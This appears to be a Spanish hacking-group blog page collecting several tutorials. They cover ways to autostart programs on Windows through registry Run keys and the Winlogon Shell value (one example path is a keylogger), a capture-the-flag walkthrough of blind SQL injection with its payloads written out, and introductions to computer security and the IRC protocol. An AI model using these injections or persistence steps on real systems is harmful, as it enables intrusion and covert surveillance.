TAG | papers
¿Cuántas maneras conoces para cargar un programa al iniciar Windows?
Para los que dijeron más de dos van por buen camino. Para los que dijeron una o ninguna pues aca les enumero los casos que yo conozco, si hay algunos más pues avisadme.
1. AUTOEXEC.BAT: hace algún tiempo en los sistemas anteriores a los más modernos siempre se optaba por editar el autoexec.bat que es un archivo localizado en el directorio “c:\”, añadiendo unas líneas de programación por lotes podíamos ejecutar cualquier comando o programa de nuestra elección y para fines específicos. Este método en mi experiencia nunca lo he usado pero no perderás nada al intentarlo.
2. Carpeta de inicio de uno o más usuarios: pegar los programas o archivos por lotes (.bat) en la ruta “C:\Documents and Settings\_USUARIO_\Menú Inicio\Programas\Inicio” donde _USUARIO_ es sustituido por el nombre del usuario al que deseas ejecutarle dichos programas.
3. Entrada en el Registro: si deseamos que un programa específico se cargue con el sistema operativo sin importar que usuario este usando el equipo, es decir, aplicado a todos los usuarios. Solo necesitamos abrir nuestro Editor de Registro.
a) Inicio –> ejecutar escribimos “regedit” (sin comillas) y pulsamos [Aceptar]
b) Nos dirigimos a la dirección “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”
c) Dentro de esa dirección vamos al menú Edición –> Nuevo –> Valor Alfanumérico y le nombramos como nos venga en gana.
d) Damos doble clic sobre el nuevo valor alfanumérico que creamos y en información del valor colocamos la ruta completa de nuestro programa a ejecutar y pulsamos [Aceptar]. Ejemplo: “C:\keylogger.exe”
e) Cerramos el Editor de Registro y reiniciamos nuestra máquina para aplicar los cambios y, claro, para ver los resultados.
Para aplicarlo solo a tu sesión vamos a “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\” y repetimos el procedimiento anterior.
4. Shell: si, hay una cuarta opción y hasta hace poco no sabía de su existencia. Me refiero a la posibilidad de ejecutar el programa al instante en que se carga el explorer.exe (si, ese proceso que le da vida grafica a nuestro sistema operativo Winbugs), es decir, después de seleccionar nuestro usuario y teclear nuestra contraseña (winlogon.exe).
Si no me explico, con la descripción del ejemplo creo se aclararan todas sus dudas.
Solo para nuestra sesión:
a) Abrimos el Editor de Registro (regedit)
b) Nos dirigimos a la ruta “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\”.
c) Veremos que dentro de Winlogon existe un Valor Alfanumérico llamado “Shell” cuyo contenido por defecto es “explorer.exe”.
d) Si deseamos que se cargue por ejemplo “cmd.exe” solo necesitamos modificar el valor que contenga Shell por “cmd.exe” (sin comillas), y listo en lugar cargarse “explorer.exe” se cargara “cmd.exe”, es decir, al iniciar sesión solo abrirá una consola de comandos.
e) En dado caso de que deseemos ejecutar más de dos programas en “Shell” solo separamos con “,” (coma) cada elemento a ejecutar. Ejemplo: “explorer.exe,cmd.exe” (abrirá la parte grafica del sistema ósea explorer.exe y también abrirá una ventana de símbolo de sistema).
Espero les sea útil y me haya explicado, si no pues echando a perder se aprende, para meter la mano debajo de la falda de la señorita Windows solo se necesita aprender a formatear por si tocamos algo sensible del sistema, pues solo formateamos XD. La práctica hace al maestro.
Saludos a todos
Lestat de Lioncourt (MCrow)
Bueno después de no dejarles nada desde hace ya tiempo, les dejo este documento escrito por jde hace ya tiempo, la verdad le perdí el rastro a nuestro amigo jde, esto data de cuando aun n3ur0n4 pretendía ser un hack team allá en los canales de red-latina.
Sin mas tonterías que poner les dejo el documento…
======================================
Reto: Prueba de inyeccion SQL v3 by jde
—– —— — ——— — — — —
Hola muchachos/as aca estoy escribiendo un minituto del tercer reto que propuso emadicius sobre inyeccion sql, que despues de peliarlo un par de horas pudimos salir vencedores :P. El reto consistia en sacar la mayor cantidad informacion posible de la base de datos, es decir que base de datos era, el nombre de la DB, el nombre de la tabla, el nombre de sus campos y su tipos, jujuj bue vamos a ver que podemos hacer…. ;)
1) Aproximacion
Cargamos el reto en el navegador y vemos dos input que piden Usuario y Password, probamos metiendo unas inocentes comillitas por algun lado y si ponemos por ejemplo en Usuario:’p y en Password:’p , la base nos tira el siguiente error:
Error:
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘u’ and pass=”p” at line 1
Por suerte pudimos robar un pedazo de la consulta :D. Ahora sabemos que la consulta es de la forma:
…’xxxxxx’ and pass=’yyyyyy’….
Donde las xxxxxx son el usuario ingresado y las yyyyyyy el password ingresado. Al saber esto ya podemos empezar a inyectar codigo SQL, y hacer esto de manera valida sin que se produscan errores de sintaxis. Bastaria con hacer que nuestros xxxxxxx e yyyyyyy sean por ejemplo de la forma:
xxxxxxx=’SSSSSSSSS and ”=’
yyyyyyy=’QQQQQQQQQ and ”=’
Donde SSSSS y QQQQ es codigo SQL. Ya que si remplazmos esto en lo que sabiamos quedaria algo como:
…’xxxxxx’ and pass=’yyyyyy’…. —-> …”SSSSSSSSS and ”=” and pass=”QQQQQQQQQ and ”=”….
Lo que no tiene errores de sintaxis, siempre y cuando sea coherente lo de SSSSS y lo de QQQQQQ.
Tambien ya sabes que se trata de una base de datos MySQL.
Es mas sabemos que es una MySQL >= 5.0.12 ya que al inyectar la funcion sleep() no nos tira error. Probemoslo con:
xxxxxxx=’ and sleep(10) and ”=’
y como password cualquier cosa…. vemos que no hay error :D.
2) Consiguiendo el nombre de la base de datos
Primero podemos probar si tenemos algo de suerte :P aunque no suelo tenerla :( a veces suele funcionar jejejeje, asi que probemos si existe una tabla con el nombre Usuarios, lo vamos a hacer con la subconsulta EXISTS de la siguiente forma: EXISTS(SELECT * FROM Usuarios). Es decir nuestro SSSSSS sera de igual a:
SSSSSSSS= and EXISTS(SELECT * FROM Usuarios) —-> xxxxxxx=’ and EXISTS(SELECT * FROM Usuarios) and ”=’
Como password no metemos nada y veamos que pasa….
Error:
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Table ‘pruebahack.usuarios’ doesn’t exist
Error… =( no tuvimos suerte esta vez… ya que si la tabla hubiese existido no tendriamos error(suponiendo que tenia filas). Pero si miramos bien en realidad si tuvimos suerte porque el error nos esta diciendo que la tabla ‘pruebahack.usuarios’ no existe. Es decir ya conseguimos el nombre de la DB.
La base de datos se llama ‘pruebahack’.
3)Informacion interesante…
Navegando por dev.mysql.com llegue al Capitulo 22 del manual de referencia de MySQL 5.0, el cual trata sobre la base de datos de informacion INFORMATION_SCHEMA, la cual sabemos que existira ya que esta disponible en MySQL >= 5.0.2. Tambien podemos ver que esa base tiene una tabla que se llama TABLES :o y vemos tambien que tiene un cmapo TABLE_NAME :O!!! Entonces esta tablita la podriamos usar para tratar de averiguar el nombre de la tabla en cuestion….
Podriamos plantearnos hacer algo como:
SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%%’
Donde entre los %% tendriamos que ir poniendo algo inteligentemente de manera que podamos encontrar el nombre de alguna tabla, y luego ver si esa consulta devuelve algo mayor a 0…
Pero como podiramos hacer para saber que devuelve….recordando las bases de blind SQL Injection, pensamos si podriamos aplicar aca el mismo criterio…
Por suerte si podemos :D
por ejemplo, recordando los otros retos y metiendo como password yyyyyy=’ or 1=1 and ‘1′=’1
Tenemos que…..
OK!!
y si en cambio ponemos yyyyyy=’ or 1=0 and ‘1′=’1
tenemos….
Nada jajaja, recargamos la pagina no mas
Perfecto ya que eso es lo que necesitamos, es decir si la expresion que esta entre el or y el and es true, tenemos un OK, y si es false recargamos la pagina… :)
4)A la carga….
Con lo pensado en el punto anterior, y esperando tener un poco mas de surte ahora nos fijamos si existe una tabla que contenga la palabra Usuarios :P
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’pruebahack’ AND TABLE_NAME LIKE ‘%Usuarios%’)>0 and ”=’
….Ok!!!! seeeee un poco de suerte al fin!!!
ahora probamos sacando un % a la vez y vemos que la tabla se llama %Usuarios
Ahora fue no me quedo mas que probar :P y por suerte luego de un par de intentos llegue a que la tabla se llamaba…. Tb_Usuarios
5)Ahora los parametros….
Usando inyecciones como la anterior podemos saber la cantidad de las columnas:
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’)=3 and ”=’
Por el punto uno sabemos que una columna se llama pass, lo que podemos verificar inyectando:
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’pass’)=1 and ”=’
Que tal si probamos si existe una user??
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’user’)=1 and ”=’
jejeje estamos de suerte!! ;D
Recapitulemos, sabemos que tiene 3 columnas y ya conocemos 2… a esta tabla le podria faltar un Id ;)….probemos….
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=’Tb_Usuarios’ and column_name=’Id’)=1 and ”=’
Perfecto!!!
Ya tenemos la cantidad de columnas y los nombres, solo nos quedan sus tipos….
Lo cual lo hacemos de la misma forma jajajaj :D
Por ejemplo sospechamos que el campo pass y el user deven ser algo de CHAR, entonces probemos….
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’user’ and data_type LIKE ‘%CHAR%’)>0 and ”=’
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and data_type LIKE ‘%CHAR%’)>0 and ”=’
Y despues de ahi cambiando %CHAR% por VARCHAR nos damos cuenta que son VARCHAR :D…. pero de cuanto….
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’pass’ and CHARACTER_MAXIMUM_LENGTH LIKE ‘10′)>0 and ”=’
Y jugando con ese 10 y lo mismo con el campo user obtenemos que pass es VARCHAR(100) y user VARCHAR(50).
Solo queda el tipo del campo Id,lo cual sospechamos que es int y lo comprobamos asi ;)
yyyyyy=’ OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=’pruebahack’ and column_name=’Id’ and data_type LIKE ‘INT’)>0 and ”=’
Y listo!!!! Ya conseguimos toda la info, es un motor MySQL >= 5.0.12, la DB se llama ‘pruebahack’, y los campos son Id (INT), user (VARCHAR(50)) y pass (VARCHAR(100)).
6)Despedida…
Bueno este fue mi primer tuto, y espero que le sirva a alguno :P y avisenme de los errores que debe tener jajaja.
A su vez aprovecho este lugar para agradecerle a todo el grupo ya que me dejaron entrar y espero poder aprender mucho y compartir el conocimiento con ustedes, de manera que eoupo sea mejor en todos sus aspectos.
Saludos, jde.
==================================
By: ekzitro
To: #n3ur0n4
Url: http://n3ur0n4.org
Reply to: n3ur0n4@gmail.com
==================================
======================================
=>> Intro a la seguridad informática
======================================
Hablemos un poco de algo que, muchas veces, se le da poca importancia. La Seguridad Informática.
Para empezar, ¿Qué es la Seguridad Informática?
Una definición simple y básica sería que:
La Seguridad Informática es una serie de técnicas utilizadas para organizar y proteger la Información.
También cabe mencionar que no existe una Serguridad Informática absoluta, por lo tanto el objetivo de ésta es el de minimizar los riesgos que permitan que terceras personas tengan acceso a información confidencial.
Y para los que creen que la Seguridad Informática es solo la protección de ese ‘montón de datos’…
Hay que tener muy en cuenta la seguridad de nuestro Hardware y Software involucrado en la información que queremos proteger, porque van totalmente de la mano. Sí, leyeron bien: el Hardware está involucrado en esto. Un ejemplo muy claro es que, ¿cómo pretenderíamos mantener nuestra información a salvo si no protegemos ese montón de dispositivos conectados dentro de esa “cajita”, sabiendo que allí es donde está guardada dicha información?
Para terminar, me gustaría mencionar que la Seguridad Informática no es únicamente tener un ‘buen’ antivirus instalado y/o un buen firewall, sino que se debe tomar mucho en cuenta la configuración y actualización de los mismos; así como de lo que ‘entra y sale’ de nuestra conexión, donde los puertos de nuestro Sistema Operativo juegan un papel muy importante en todo ésto. Y de igual manera pensar en permitir/restringir ‘permisos’ a usarios según sus tareas, habilidades e incluso la confianza que le tengamos para asignarle cierto nivel de acceso, etc.
Espero que les sirva de mucho ésta pequeña introducción, especialmente a aquellos que no pensaban que la Seguridad Informática era algo tan importante y que conlleva a un sinfin de situaciones complejas que ameritan echar a andar el cerebro para prevenir desastres lamentables con nuestra información.
==================================
By: z3r0.und3r
To: #n3ur0n4
Url: http://n3ur0n4.org
Reply to: z3r0.und3r@n3ur0n4.org
==================================
==================================
=>> PROTOCOLO IRC
==================================
1.- Relax e introducción
2.- Qué; es el protocolo IRC?
3.- Servidores
4.- Clientes
5.- Canales
6.- Usuarios
7.- EOF y avances
Relax e Introducción
Después de estar alejado de las redes un largo tiempo, me decidí a escribir un articulo sobre el protocolo IRC, perdonen si meto la pata ya que es mi primer tuto y que mejor que darles a conocer un poco de la funcionalidad detrás de los clientes IRC, y porque no, programarnos una robotina que nos auxilie dentro de nuestro canal de charla.
Este tema ya que hace algún tiempo que lo estuve investigando, ya que me decidí a programar un IRC Bot, así que tuve que aprender por la buena el funcionamiento del protocolo.
Al final de este tutoríal podrás crear, mantener, manejar, una conexión IRC mediante nuestro querido NetCat y/o Telnet, o por lo menos eso espero ya que si no adquieres esos conocimientos mínimos, entonces búscate otro paper que este no te sirvió de nada XD. Le dirás adiós a mIRC, Xchat, etc. Al igual que a sus scripts remotos con los que puedes crear pequeños Bots, y que mejor que php o algún lenguaje de tu preferencia para programar a los mismos.
¿Qué es el protocolo IRC?
El protocolo IRC (Internet Relay Chat) esta diseñado para conferencias basadas en texto. Desarrollado para que funcione sobre sistemas usuarios del protocolo TCP/IP.
El IRC es un protocolo que trabaja con el modelo cliente-servidor para el intercambio de información entre ambas partes de la comunicación.
Servidores
Un software que juega el rol de servidor, es aquel que provee un “servicio” a programas clientes, como por ejemplo un navegador Web, el cual se conecta al puerto 80 (el mas usual, pero dependiendo del administrador puede ser cualquier otro), y conforme el protocolo envía comandos y recibe respuestas a tales comandos.
Así un servidor IRC pone a la escucha un puerto para aceptar conexiones del exterior y así lograr la comunicación con los mismos, el puerto mas usual es el 6667 para clientes, y de la misma forma deja a la escucha algún puerto diferente para que se conecten otros servidores y así formar una red.
Clientes
Es aquel programa diseñado para conectarse a un servidor.
Cada cliente al conectarse a un servidor será distinguido del resto por un nombre identificativo (Nick), este no deberá ser igual al de otro cliente conectado a la red IRC, al ser idéntico, el servidor pedirá otro nick para poder ceder la conexión. Si es una red de servidores IRC, todos los servidores interconectados deberán de tener la información de los clientes conectados en toda la red para así lograr la comunicación.
Canales
Un canal es un espacio virtual en la red de servidores de IRC, en los cuales se lleva a cavo la comunicación entre los clientes conectados a un servidor. Un ejemplo muy citado en el tema del IRC es el de una casa (servidor), cada cuarto de la casa es un canal de Chat, si te encuentras dentro de un cuarto podrás comunicarte con todos lo presentes, pero en caso de que desees conversar con una persona que este en otra habitación tendrás que trasladarte a ese otro canal. En el IRC es parecido solo que no tendrás que salir de un canal para poder participar en una conversación que se efectué en otro canal. Podrás participar en tantos canales puedas atender.
Cada canal de charla esta destinado a tratar un tema o temas en específico, esto se puede deducir del nombre o del topic del canal.
Todos lo canales son listados en el servidor, para que los usuarios que apenas se conectan puedan consultarle y así entrar en el que mas les llame la atención, a menos que este en modo oculto.
Usuarios
En el IRC al igual que en cualquier ordenador, existen jerarquías de usuarios para llevar el control de los privilegios de cada uno y los roles a seguir, así como las responsabilidades.
- IRCOP: Este es el rey del servidor, tiene la posibilidad de bannearte permanentemente del servidor, bannear rangos de IP, entrar en un canal que necesite de password, patear a cualquier usuario dentro de un canal sea cual sea su rango y privilegios, se encarga del buen funcionamiento del servidor.
- OP: Administrador de un canal, se distingue de por un “@” antepuesto a su Nick, tiene los privilegios de dar/quitar OP temporal, voz, expulsar del canal (kick), setear topics, bannear, setear comandos del canal, etc.
- VOICE: Usuario con privilegios solo de participar en un canal moderado y se distingue por un “+” antes de su Nick.
Estos rangos de usuarios son los mas usados, ya que para los OP’s de los canales hay niveles de privilegios y superioridad, el usuario encargado de asignar estos niveles es el OWNER. Así el administrador de nivel 10 no podrá tocar a un administrador de nivel 100, etc. mientras mas nivel tengas nadie te podrá tocar (kick, bannear).
EOF y avances
Para mi basta con esto de la teoría introductoria ya que es mas dinámico proseguir con ejemplos, para que no quedemos con cara de :S de que no ven en donde se aplica esta teoría, no es el gran comienzo, ya que siempre he sido de la idea de “por que leer teoría si puedes ponerle en practica”, pero con algo de tiempo les publico la segunda parte :D.
Para nuestra siguiente entrega de este hilo del protocolo IRC del cual no he estimado en cuantas partes lo redactare, haremos nuestra primer conexión a un servidor real y sobre la marcha comentaremos para que nos sirve cada comando que enviemos y cada respuesta al comando dado.
==EOF==
